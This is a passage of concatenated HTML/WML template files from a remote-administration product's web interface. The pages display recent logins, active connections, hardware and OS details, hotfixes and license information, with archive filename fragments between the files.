<td><a href="&FAV.ARGS&"><?if FAV.ICON?><img src="img/&FAV.ICON&?bg=%COLOR.TblHdrBack%" border="0" align="absmiddle"><?endif?>&nbsp;&FAV.NAME&</a></td>
</tr>
<?next?>
<?else?>
<tr><td colspan="2" align="center"><?&MSG.QLINKS.DESC.1?> <img src="img/ico_favourite.png?bg=%COLOR.DlgBack%" title="&quot;&MSG.QLINKS.ADD&&quot;" align="absmiddle"> <?&MSG.QLINKS.DESC.2?></td></tr>
<?endif?>
</table><br>

<!-- MOST RECENT ACCESSES -->
<?action "recent"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="5"><?&MSG.INFO.CONNS.RECENT?></th></tr>
<tr class="ttd">
<td><?&MSG.INFO.CONNS.HOST?></td>
<td><?&MSG.INFO.CONNS.USER?></td>
<td><?&MSG.INFO.CONNS.LOGIN?></td>
<td><?&MSG.INFO.CONNS.LOGOUT?></td>
<td><?&MSG.INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&MSG.INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table><br>

<?set BG=COLOR.DlgBack?><?include "webinfo.html"?>

<!-- CURRENT CONNECTIONS -->
<?defmacro CONNUM(NUMBER)
if NUMBER>0
&NUMBER
else
&MSG.INFO.CURRENT.NOCONN
endif
endmacro?>
<table class="inner" width="95%">
<tr><th colspan="5"><?&MSG.INFO.CURRENT.TITLE?></th></tr>
<tr onclick="window.location='connlist.html?type=remctrl&back=$TEMPLATE$'" style="cursor.hover:hand">
<td class="ttd"><?&REMCTRL.TITLE?>&nbsp;</td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.REMCTRL)?>&nbsp;</td>
</tr>
<?if ACTIONS has "-ftpconns-"?>
<tr onclick="window.location='ftpstatus.html?back=$TEMPLATE$'" style="cursor.hover:hand">
<td class="ttd"><?&MSG.INFO.CURRENT.FTP?>&nbsp;</td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.FTP)?>&nbsp;</td>
</tr>
<?endif?>
<?if ACTIONS has "-telnetconn-"?>
<tr onclick="window.location='telnetconn.html'" style="cursor.hover:hand">
<td class="ttd"><?&MSG.INFO.CURRENT.TELNET?>&nbsp;</td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.TELNET)?>&nbsp;</td>
</tr>
<?endif?>
<tr onclick="window.location='connlist.html?type=filexfer&back=$TEMPLATE$'" style="cursor.hover:hand">
<td class="ttd"><?&FILEXFER.TITLE?>&nbsp;</td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.FILEXFER)?>&nbsp;</td>
</tr>
<?if ACTIONS has "-statpfwd-"?>
<tr onclick="window.location='connlist.html?type=portfwd&back=$TEMPLATE$'" style="cursor.hover:hand">
<td class="ttd"><?&MSG.INFO.CURRENT.PORTFWD?>&nbsp;</td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.PORTFWD)?>&nbsp;</td>
</tr>
<?endif?>
</table>
<br>

<?action "cpuinfo"?><?usemacro WINERRDLG()?>
<?action "osinfo"?><?usemacro WINERRDLG()?>
<?action "meminfo"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.HARDWARE.TITLE?></th></tr>
<?if OS.USER // got an interactive user?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.USER?>:</td>
<td>&OS.USER&</td>
</tr>
<?endif?>
<?if USERS // got any terminal service users?>
<tr valign="top">
<td class="ttd"><?&MSG.INFO.HARDWARE.USERTS?>:</td>
<td><?enum USERS?>&USER.NAME&<?if USER.WINS?> (&USER.WINS&)<?endif?><br><?next?></td>
</tr>
<?endif?>
<?if CPU.CLOCK != 0 // win9x can't tell cpu speed ?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPU?>:</td>
<td><?&MSG.INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x &CPU.COUNT&)<?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPUUTIL?>:</td>
<td><?usemacro PERCENTBAR(CPU.USAGE)?></td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.PHYSICAL?>:</td>
<td><?usemacro PERCENTBAR(MEMP.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMP.SIZE _szm?>, <?&MSG.INFO.HARDWARE.FREE?>: <?&MEMP.FREE _szm?>)</td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.COMMIT?>:</td>
<td><?usemacro PERCENTBAR(MEMC.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMC.SIZE _szm?>, <?&MSG.INFO.HARDWARE.FREE?>: <?&MEMC.FREE _szm?>)</td>
</tr>
<?if BIOS.SYSTEM.VER?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.BIOS?>:</td>
<td>&BIOS.SYSTEM.VER&<?if BIOS.SYSTEM.DATE?>, &BIOS.SYSTEM.DATE&<?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.SCREEN?>:</td>
<td>&SCREEN.WIDTH& x &SCREEN.HEIGHT& &SCREEN.DEPTH& bits<?if BIOS.VIDEO.DATE?> Video Bios: &BIOS.VIDEO.DATE&<?endif?></td>
</tr>
</table><br>

<table class="inner" width="95%">
<tr><th><?&MSG.INFO.OS.TITLE?></th></tr>
<tr><td><?&OS.NAME?> <?&OS.VER?> (<?&MSG.INFO.OS.BUILD?>: <?&OS.BUILD?>) <?&OS.CSD?></td></tr>
<?if OS.INSTALLED?><tr><td><?&MSG.INFO.OS.INSTALLED?> <?&OS.INSTALLED _dtml?></td></tr><?endif?>
<?if OS.BOOTED?><tr><td><?&MSG.INFO.OS.BOOTED?> <?&OS.BOOTED _dtml?> (<?&OS.BOOTED _ago?>)</td></tr><?endif?>
</table><br>

<?action "hotfixlist"?><?usemacro WINERRDLG()?>
<?if HOTFIXES?>
<table class="inner" width="95%">
<tr>
<th colspan="4"><?&MSG.INFO.OS.HOTFIXES?></th>
</tr>
<tr class="ttd">
<td>&MSG.NAME&</td>
<td>&MSG.DESC&</td>
<td>&MSG.INFO.OS.HF.INSTALLEDBY&</td>
<td>&MSG.INFO.OS.HF.INSTALLDATE&</td>
</tr>
<?enum HOTFIXES?>
<tr>
<td><?if not Cfg.Appearance.NoExternalLinks = "1"?><a href="http://support.microsoft.com/default.aspx?scid=kb;EN-US;%HOTFIX.NAME%" target="hotfix"><?endif?><?&HOTFIX.NAME?><?if not Cfg.Appearance.NoExternalLinks = "1"?></a><?endif?></td>
<td><?&HOTFIX.DESC?></td>
<td><?if HOTFIX.USER?><?&HOTFIX.USER?><?else?>&MSG.UNKNOWN&<?endif?></td>
<td><?if HOTFIX.DATE?><?&HOTFIX.DATE _dt?><?else?>&MSG.UNKNOWN&<?endif?></td>
</tr>
<?next?>
</table><br>
<?endif?>
</td>
</tr>
</table>
<?endif?>

<?if BRAND.LOGMEIN?>
<?if REQ.PAGE="help"?>
<!-- LMI Help -->
<table cellpadding="10" width="90%">
<tr><td>
<a href="help.html?type=guide" target="_blank"><b><?&MSG.INFO.ABOUT.GUIDE?></b></a><br><?&MSG.INFO.ABOUT.GUIDEDESC?>
</td></tr>
<tr><td>
<a href="help.html?type=manual" target="_blank"><b><?&MSG.INFO.ABOUT.MANUAL?></b></a><br><?&MSG.INFO.ABOUT.MANUALDESC?>
</td></tr>
<tr><td>
<a href="dotcom.vcgi" target="_blank"><b><?&PRODUCTWEBSITE?></b></a><br><?&MSG.INFO.ABOUT.DOTCOMDESC?>
</td></tr>
<tr><td>
<a href="help.html?type=license"><b><?&MSG.INFO.ABOUT.LICENSE?></b></a><br><?&MSG.INFO.ABOUT.LICENSEDESC?>
</td></tr>
<tr><td>
<a href="info.html?page=about"><b><?&MSG.INFO.ABOUT.TITLE?></b></a><br><?&MSG.INFO.ABOUT.TITLEDESC?>
</td></tr>
<tr><td align="center">
<input type="button" value="<?&DIALOG.Back?>" onclick="history.back()">
</td></tr>
</table>
<?elseif REQ.PAGE="about"?>
<!-- LMI About -->
<h2 class="tab" id="tabAboutTitle"><?if not BRAND.LOGMEIN?>&MSG.INFO.ABOUT.TITLE&<?endif?></h2>
<?action "rainfo"?><?usemacro WINERRDLG()?>
<?if LICENSEES?>
<b><?&MSG.INFO.LICENSE.TO?>:</b><br>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b><br>
<?next?>
<br><br>
<?endif?>
<?&MSG.INFO.LICENSE.STATEMENT?><br>
<?&VERSION?>&nbsp;<?&VERSION.RA?>, <?&MSG.INFO.ABOUT.OpenSSL?> <?&VERSION.SSL?>
<table width="90%"><tr><td align="center">
<input type="button" value="<?&DIALOG.Back?>" onclick="history.back()" ID="Button1" NAME="Button1">
</td></tr></table>
<?endif?>
<?elseif REQ.PAGE="about"?>
<!-- RA LICENSE INFO -->
<?action "rainfo"?><?usemacro WINERRDLG()?>
<?if not Cfg.Appearance.NoExternalLinks = "1"?>
<?if RANEW.UPDATE?>
<!-- NEW VERSION -->
<?set FLASHTAB="tabAbout"?>
<center>
<h2>&MSG.INFO.UPDATE.TITLE&</h2>
&MSG.INFO.UPDATE:RANEW.UPDATE& &MSG.INFO.UPDATE.UPGRADE&<br>
<b><a href="&RANEW.URL&" target="_blank">&PRODUCTNAME& &RANEW.VERSION&</a></b>
</center><br>
<?endif?>

<!-- NEWS -->
<?include "news.html"?>
<br>
<?endif // Cfg.Appearance.NoExternalLinks?>
<b><?&MSG.INFO.LICENSE.TO?>:</b><br>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b><br>
<?next?>
<?if not BRAND.LOGMEIN?><br>&MSG.INFO.LICENSE:LICENSE.TYPE&<?endif?>
<br>
<?&MSG.INFO.LICENSE.ID?>: <?=LICENSE.ID?><br>
<br><br>

<?if not Cfg.Appearance.NoExternalLinks = "1"?>
<!-- ABOUT -->
<a href="help.html?type=guide"<?if BRAND.LOGMEIN?> target="_blank"<?endif?>><b><?&MSG.INFO.ABOUT.GUIDE?></b></a><br><?&MSG.INFO.ABOUT.GUIDEDESC?>
<br><br>
<a href="help.html?type=manual"<?if BRAND.LOGMEIN?> target="_blank"<?endif?>><b><?&MSG.INFO.ABOUT.MANUAL?></b></a><br><?&MSG.INFO.ABOUT.MANUALDESC?>
<br><br>
<a href="dotcom.vcgi" target="_blank"><b><?&PRODUCTWEBSITE?></b></a><br><?&MSG.INFO.ABOUT.DOTCOMDESC?>
<br><br>
<?endif // Cfg.Appearance.NoExternalLinks?>
<a href="help.html?type=license"><b><?&MSG.INFO.ABOUT.LICENSE?></b></a><br><?&MSG.INFO.ABOUT.LICENSEDESC?>
<br><br><br>
<?&MSG.INFO.LICENSE.STATEMENT?><br>
<?&VERSION?>&nbsp;<?&VERSION.RA?>, <?&MSG.INFO.ABOUT.OpenSSL?> <?&VERSION.SSL?>, <?&MSG.INFO.ABOUT.OpenSSH?> <?&VERSION.SSH?>
<?endif?>
</div>
</div>
</body>
</html>
pinfo.wml9B}<?ratmpl?>
<p align="center">
<?&OS.NAME?> <?&OS.VER?>
<br/>
<br/>
</p>
<p align="center">
CPU Load: &CPU.USAGE&%
<img src="percentbar.wbmp?percent=%CPU.USAGE%" alt=""/>
</p>

<?action "meminfo"?>
<p align="center">
Mem Load: &MEMC.USEDP&%
<img src="percentbar.wbmp?percent=%MEMC.USEDP%" alt=""/>
</p>

<p align="center">
<anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get"></go>
</anchor>
<anchor><?&DIALOG.UPDATE?>
<go href="&TEMPLATE&" method="get"></go>
</anchor>
</p>
infolight.htmlvg}<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("info")?><span class="titleText">&MENU.HOME&</span></div>
<table width="95%">
<tr align="middle" valign="top"><td width="75%">
<b><?&WELCOMELINE?></b><br>
<?
action "timeget"
action "rainfo"
usemacro WINERRDLG()
?>
<?&MSG.INFO.USER?>: <b>&USERNAME&</b><br>
<?&ADMIN.TIME.CURRENT?>: <b><a href="/time.html"><?&DATETIME _dtml?></a></b><br><br>

<!-- UPDATE -->
<?if RANEW.UPDATE?>
<b>&MSG.INFO.UPDATE.TITLE&</b><br>
&MSG.INFO.UPDATE:RANEW.UPDATE& &MSG.INFO.UPDATE.UPGRADE&<br>
<b><a href="&RANEW.URL&" target="_blank">&PRODUCTNAME& &RANEW.VERSION&</a></b>
<br><br>
<?endif?>

<!-- MOST RECENT ACCESSES -->
<?action "recent"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="5"><?&MSG.INFO.CONNS.RECENT?></th></tr>
<tr class="ttd">
<td><?&MSG.INFO.CONNS.HOST?></td>
<td><?&MSG.INFO.CONNS.USER?></td>
<td><?&MSG.INFO.CONNS.LOGIN?></td>
<td><?&MSG.INFO.CONNS.LOGOUT?></td>
<td><?&MSG.INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&MSG.INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td class="num"><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table><br>

<?set BG=COLOR.DlgBack?><?include "webinfo.html"?>

<!-- CURRENT CONNECTIONS -->
<?defmacro CONNUM(NUMBER)
if NUMBER>0
&NUMBER
else
&MSG.INFO.CURRENT.NOCONN
endif
endmacro?>
<table class="inner" width="95%">
<tr>
<th colspan="5"><?&MSG.INFO.CURRENT.TITLE?></th>
</tr>
<tr>
<td class="ttd"><a href="connlist.html?type=remctrl&back=%TEMPLATE%"><?&REMCTRL.TITLE?></a></td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.REMCTRL)?>&nbsp;</td>
</tr>
<?if ACTIONS has "-ftpconns-"?>
<tr>
<td class="ttd"><a href="ftpstatus.html?back=%TEMPLATE%"><?&MSG.INFO.CURRENT.FTP?></a></td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.FTP)?>&nbsp;</td>
</tr>
<?endif?>
<?if ACTIONS has "-telnetconn-"?>
<tr>
<td class="ttd"><a href="telnetconn.html?back=%TEMPLATE%"><?&MSG.INFO.CURRENT.TELNET?></a></td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.TELNET)?>&nbsp;</td>
</tr>
<?endif?>
<tr>
<td class="ttd"><a href="connlist.html?type=filexfer&back=%TEMPLATE%"><?&FILEXFER.TITLE?></a></td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.FILEXFER)?>&nbsp;</td>
</tr>
<?if ACTIONS has "-statpfwd-"?>
<tr>
<td class="ttd"><a href="connlist.html?type=portfwd&back=%TEMPLATE%"><?&MSG.INFO.CURRENT.PORTFWD?></a></td>
<td align="center">&nbsp;<?usemacro CONNUM(CONNS.PORTFWD)?>&nbsp;</td>
</tr>
<?endif?>
</table>
<br>

<!-- HARDWARE INFO -->
<?action "cpuinfo"?><?usemacro WINERRDLG()?>
<?action "osinfo"?><?usemacro WINERRDLG()?>
<?action "meminfo"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.HARDWARE.TITLE?></th></tr>
<?if OS.USER // got an interactive user?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.USER?>:</td>
<td><?&OS.USER?></td>
</tr>
<?endif?>
<?if USERS // got any terminal service users?>
<tr valign="top">
<td class="ttd"><?&MSG.INFO.HARDWARE.USERTS?>:</td>
<td><?enum USERS?>&USER.NAME&<?if USER.WINS?> (&USER.WINS&)<?endif?><br><?next?></td>
</tr>
<?endif?>
<?if CPU.CLOCK != 0 // win9x can't tell cpu speed ?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPU?>:</td>
<td><?&MSG.INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x <?&CPU.COUNT?>)<?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPUUTIL?>:</td>
<td><?usemacro PERCENTBAR(CPU.USAGE)?></td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.PHYSICAL?>:</td>
<td><?usemacro PERCENTBAR(MEMP.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMP.SIZE _szm?>, <?&MSG.INFO.HARDWARE.USED?>: <?&MEMP.USED _szm?>)</td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.COMMIT?>:</td>
<td><?usemacro PERCENTBAR(MEMC.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMC.SIZE _szm?>, <?&MSG.INFO.HARDWARE.USED?>: <?&MEMC.USED _szm?>)</td>
</tr>
<?if BIOS.SYSTEM.VER?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.BIOS?>:</td>
<td><?&BIOS.SYSTEM.VER?><?if BIOS.SYSTEM.DATE?>, <?&BIOS.SYSTEM.DATE?><?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.SCREEN?>:</td>
<td><?&SCREEN.WIDTH?> x <?&SCREEN.HEIGHT?> <?&SCREEN.DEPTH?>bits<?if BIOS.VIDEO.DATE?> Video Bios: <?&BIOS.VIDEO.DATE?><?endif?></td>
</tr>
</table><br>

<!-- OPERATING SYSTEM -->
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.OS.TITLE?></th></tr>
<tr><td><?&OS.NAME?> <?&OS.VER?> (<?&MSG.INFO.OS.BUILD?>: <?&OS.BUILD?>) <?&OS.CSD?></td></tr>
<?if OS.INSTALLED?><tr><td><?&MSG.INFO.OS.INSTALLED?> <?&OS.INSTALLED _dtml?></td></tr><?endif?>
<?if OS.BOOTED?><tr><td><?&MSG.INFO.OS.BOOTED?> <?&OS.BOOTED _dtml?> (<?&OS.BOOTED _ago?>)</td></tr><?endif?>
</table><br>

<?action "hotfixlist"?><?usemacro WINERRDLG()?>
<?if HOTFIXNUM?>
<?if HOTFIXES?>
<!-- HOTFIXES -->
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.OS.HOTFIXES?></th></tr>
<?enum HOTFIXES?>
<tr><td><?&HOTFIX.NAME?>:
<?&HOTFIX.DESC?></td></tr>
<?next?>
</table><br>
<?endif?>
<?endif?>

<!-- RA LICENSE INFO -->
<center>
<?
action "rainfo"
usemacro WINERRDLG()
?>
<?&MSG.INFO.LICENSE.TO?>:<br>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b><br>
<?next?>
<br>
<?&MSG.INFO.LICENSE:LICENSE.TYPE?>
<br>
<?&MSG.INFO.LICENSE.ID?>: <?&LICENSE.ID?><br>
<br>
<?&MSG.INFO.LICENSE.RAWORK?>
</center>

<center><br>
<b><?&MSG.INFO.LICENSE.STATEMENT?></b><br>
<?&VERSION?>&nbsp;<?&VERSION.RA?>, <?&MSG.INFO.ABOUT.OpenSSL?> <?&VERSION.SSL?>, <?&MSG.INFO.ABOUT.OpenSSH?> <?&VERSION.SSH?><br>
&nbsp;<br>
</center>

</td><td>

<!-- SECURITY -->
<b><?&MSG.INFO.SECURITY.TITLE?></b>
<center>
<table>
<tr>
<td align="right"><?&MSG.INFO.SECURITY.AUTH?>:</td>
<td align="left"><?if NTLM?>&MSG.LOGIN.NTLMSET&<?else?>&MSG.LOGIN.USER&/&MSG.LOGIN.PASS&<?endif?><?if RSAAUTH?>, &MSG.LOGIN.RSA.NAME&<?endif?></td>
</tr>
<tr>
<td align="right"><?&MSG.INFO.SECURITY.TRANS?>:</td>
<td align="left">
<?if SSL?>
<?&MSG.INFO.SECURITY.SECURE?>&nbsp;<img src="img/ico_evt_lock.png?bg=%COLOR.DlgBack%" align="absmiddle" width="16" height="16">
<?else?>
<a href="cfgssl.html"><?&MSG.INFO.SECURITY.INSECURE?>&nbsp;<img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%" align="absmiddle" width="16" height="16" border="0"></a>
<?endif?>
</td>
</tr>
</table>
</center>
<br>

<center>
<!-- QUICKLINKS -->
<?action "favlist"?>
<table width="100%" cellpadding="8" style="border-collapse:separate;border-spacing:0px 6px">
<tr><td align="center"><font color="#388ccd" style="font-size:14pt;"><a href="qlinks.html" title="&MSG.QLINKS.EDIT&"><?&MSG.QLINKS.TITLE?></a></font></td></tr>
<?if FAVS > 0?>
<?enum FAVS?>
<tr class="ttd"><td><a href="&FAV.ARGS&"><?if FAV.ICON?><img src="img/&FAV.ICON&?bg=%COLOR.TblHdrBack%" border="0" align="absmiddle"><?endif?>&nbsp;&FAV.NAME&</a></td></tr>
<?next?>
<?else?>
<tr><td colspan="2" align="center"><?&MSG.QLINKS.DESC.1?> <img src="img/ico_favourite.png?bg=%COLOR.DlgBack%" title="&MSG.QLINKS.ADD&" width=18 height=18 align="absmiddle"> <?&MSG.QLINKS.DESC.2?></td></tr>
<?endif?>
</table><br>

<!-- DOCLINKS -->
<a href="help.html?type=guide"><b><?&MSG.INFO.ABOUT.GUIDE?></b></a><br><?&MSG.INFO.ABOUT.GUIDEDESC?>
<br><br>
<a href="help.html?type=manual"><b><?&MSG.INFO.ABOUT.MANUAL?></b></a><br><?&MSG.INFO.ABOUT.MANUALDESC?>
<br><br>
<a href="dotcom.vcgi" target="_blank"><b><?&PRODUCTWEBSITE?></b></a><br><?&MSG.INFO.ABOUT.DOTCOMDESC?>
<br><br>
<a href="help.html?type=license"><b><?&MSG.INFO.ABOUT.LICENSE?></b></a><br><?&MSG.INFO.ABOUT.LICENSEDESC?>
</center>
</td>
</tr>
</table>
</div>
</body>
</html>
u3GinfoPDA.html=h}<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html background="ThreeDFace">
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body class="menu">
<?
action "cpuinfo"
action "osinfo"
action "rainfo"
usemacro WINERRDLG()
?>
<?if UI="secrem"?>
<div class="SR">
<div class="titleBar"><?usemacro TITLEICON("home")?><span class="titleText">&INFO.SRTITLE&</span></div>
<br>
<b>&MSG.WELCOMELINE&</b>
<?
action "rainfo"
usemacro WINERRDLG()
?>
&MSG.INFO.USER&: <b>%USERNAME%</b><br><br>
<?action "timeget"?>
&MSG.ADMIN.TIME.CURRENT&: <b><a href="/time.html"><?&DATETIME _dtml?></a></b><br>
&MSG.INFO.LICENSE.RAWORK&<br>
<?action "rebootat"?>
<?if REBOOTAT.TIME?><b><a href="restartat.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b><?endif?>
<?else?>
<table class="titleBar"><tr>
<td><img src="img/menu_home.png?bg=%COLOR.CapBack%" align="absmiddle">&SRVNAME&</td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>
<?endif?>
<br>

<!-- PERFORMANCE -->
<?
action "meminfo"
usemacro WINERRDLG()
?>
<table class="inner" border="1" cellpadding="0" cellspacing="0" width="80%" align=center>
<tr><th colspan="5"><?&INFO.HARDWARE.PERFORMANCE?></th></tr>
<tr class="ttd">
<td><?&INFO.HARDWARE.TYPE?>&nbsp;</td><td><?&INFO.HARDWARE.SIZE?></td>
<td><?&INFO.HARDWARE.FREE?>&nbsp;</td><td><?&INFO.HARDWARE.USEDP?></td></tr>
<tr><td><?&INFO.HARDWARE.PHYSICAL?>&nbsp;</td>
<td align="right">&nbsp;<?&MEMP.SIZE _szm?></td>
<td align="right">&nbsp;<?&MEMP.FREE _szm?></td>
<td style="text-align:right"><?&MEMP.USEDP?>%</td></tr>
<tr><td><?&INFO.HARDWARE.COMMIT?>&nbsp;</td>
<td align="right">&nbsp;<?&MEMC.SIZE _szm?></td>
<td align="right">&nbsp;<?&MEMC.FREE _szm?></td>
<td style="text-align:right"><?&MEMC.USEDP?>%</td></tr>
<tr><td><?&PERF.TYPE.CPU?>&nbsp;</td>
<td colspan=3 align="right"><?usemacro PERCENTBAR(CPU.USAGE)?></td>
</tr>
</table><br>

<?if UI="secrem"?>
<!-- MOST RECENT ACCESSES -->
<?
action "recent"
usemacro WINERRDLG()
?>
<table class="inner" width="80%" align=center>
<tr><th colspan="5"><?&INFO.CONNS.RECENT?></th></tr>
<tr class="ttd">
<td><?&INFO.CONNS.HOST?></td>
<td><?&INFO.CONNS.USER?></td>
<td><?&INFO.CONNS.LOGIN?></td>
<td><?&INFO.CONNS.LOGOUT?></td>
<td><?&INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td class="num"><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table>
<?endif?>

<!-- HARDWARE INFO -->
<table align=center>
<b><?&INFO.HARDWARE.TITLE?></b><br>
<b><?&INFO.HARDWARE.CPU?>:</b> <?&INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x &CPU.COUNT&)<?endif?><br>
<?if OS.USER // got an interactive user?>
<b><?&INFO.HARDWARE.USER?>:</b> <?&OS.USER?><br>
<?endif?>
<b><?&INFO.HARDWARE.BIOS?>:</b> <?&BIOS.SYSTEM.VER?>, <?&BIOS.SYSTEM.DATE?><br>
<b><?&INFO.HARDWARE.SCREEN?>:</b> <?&SCREEN.WIDTH?> x <?&SCREEN.HEIGHT?> <?&SCREEN.DEPTH?>bits Video Bios: <?&BIOS.VIDEO.DATE?>

<br>
<br>

<!-- OPERATING SYSTEM -->
<b><?&INFO.OS.TITLE?></b>
<b><?&OS.NAME?> <?&OS.VER?> (<?&MSG.INFO.OS.BUILD?>: <?&OS.BUILD?>) <?&OS.CSD?></b><br>
<?if OS.INSTALLED?><?&INFO.OS.INSTALLED?> <?&OS.INSTALLED _dtml?><br><?endif?>
<?if OS.BOOTED?><?&INFO.OS.BOOTED?> <?&OS.BOOTED _dtml?> (<?&OS.BOOTED _ago?>)<br><?endif?>
</table>
<br>

<!-- SECURITY -->
<table class="inner" align=center><tr><th>&MENU.SECURITY&</th></tr>
<tr><td>
<?&INFO.SECURITY.AUTH?>:&nbsp;<?if NTLM?>NTLM<?else?>Usr/Pwd<?endif?><?if RSAAUTH?>, &MSG.LOGIN.RSA.NAME&<?endif?><br>
<?&INFO.SECURITY.TRANS?>:
<?if SSL?>
<?&INFO.SECURITY.SECURE?>&nbsp;<img src="img/ico_evt_lock.png?bg=%COLOR.TblHdrBack%" align="absmiddle" width=16 height=16>
<?else?>
<?&INFO.SECURITY.INSECURE?>&nbsp;<img src="img/ico_evt_warn.png?bg=%COLOR.TblHdrBack%" align="absmiddle" width=16 height=16>
<?endif?>
</td></tr>
</table>

<?if UI="secrem"?>
</div>
<?else?>
<table align=center>
<br><?&INFO.LICENSE.TO?>: 
<?if LICENSEES?>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b>&nbsp;
<?next?>
<?endif?><br>
&INFO.LICENSE:LICENSE.TYPE&<br>
<?&INFO.LICENSE.ID?>: <?=LICENSE.ID?><br>
<?endif?>
</table>
</body>
</html>
journal.html6~<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?usemacro LINECOUNT()?>
<?if REQ.NEWJOURNAL
action "journalcreate"
usemacro WINERRDLG()
endif?>
<?action "journallist"?>
<?usemacro WINERRDLG()?>
<style type="text/css">
table.inner td {padding: 5px;}
</style>
<script language="javascript">
function textCheck(field, maxlen) {
if (field.value.length > maxlen) {
field.value = field.value.substring(0, maxlen);
alert('$MSG.JOURNAL.LIMITEXCEEDED$');
return false;
}
return true;
}
</script>
</head>
<body onload="<?if actions has "journalcreate"?>document.getElementById('newjournal').focus();<?endif?>">
<div class="window">
<div class="titleBar"><span class="titleText">
<?usemacro TITLEICON("info")?><?&MSG.DASH.JOURNAL.TITLE?>
</span></div>

<!-- toolbar -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.DASH.JOURNAL.TITLE%&favicon=menu_info.png&favargs=%TEMPLATE%%3Fjournal%3D%REQ.JOURNAL%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?journal=%REQ.JOURNAL%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>	
<?usemacro PAGEBAR("JOURNAL")?>
<div style="padding-left: 10px; display: inline;">
<?if SHOWSYSTEMJOURNAL="1"?>
